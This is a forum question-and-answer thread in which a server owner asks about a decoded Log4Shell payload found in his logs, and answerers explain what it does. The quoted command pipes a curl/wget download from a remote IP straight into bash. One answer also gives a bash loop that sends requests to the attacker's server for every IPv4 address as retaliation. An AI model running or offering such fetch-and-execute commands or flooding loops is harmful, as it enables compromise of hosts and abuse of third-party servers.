0

I was looking through my server logs after the recent log4j issues and saw an interesting command which was base64 encoded (decoded version is below):

(curl -s 195.54.160.149:5874/66.228.37.152:80||wget -q -O- 195.54.160.149:5874/66.228.37.152:80)|bash

I was intrigued, since I’d not see a curl command to a host with a / in the server name/ip. What does this mean? I wondered if it were some way of spoofing the source IP which made no sense. Maybe a subnet setting (also makes no sense to me)?

2
  • 2
    Do you recognise your IP address after the /. This command typically access the server 195.54.160.149 with the port 7854 and send it the file name (or parameter) 66.228.37.152:80 which seems to indicate where you are. (I don’t see other reason for sending such a parameter). A scanning robot scan many hosts, then this information is useful to get back at 195.54.160.149. Commented Dec 14, 2021 at 18:36
  • Doh, yeah! That’s actually the IP of my server.
    – Egwor
    Commented Dec 14, 2021 at 18:48

2 Answers 2

3

It doesn’t mean anything unusual: the slash separates the host and port from the path.

curl 195.54.160.149:5874/66.228.37.152:80

will connect to port 5874 on 195.54.160.149 and request the resource identified by /66.228.37.152:80 using

GET /66.228.37.152:80 HTTP/1.1

You set something like this up yourself by hosting a file named 66.228.37.152:80 on a web server. What the server actually does with the path depends on what the server’s owner has set up.

0
0

You are seeing the Log4Shell vuln out in the wild. Like the others said above, it is alerting the source that they found an exploitable node. The one you've linked in particular is a russian node, the same one that showed up in my logs - I started replying to the same server trying to obscure anything they might find.

for firstoctet in {0..255}; do
  for ip in ${firstoctet}.{0..255}.{0..255}.{0..255}; do 
    curl -s 195.54.160.149:5874/${ip}:80 
  done
done

https://blogs.vmware.com/security/2021/12/investigating-cve-2021-44228-log4shell-vulnerability.html

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .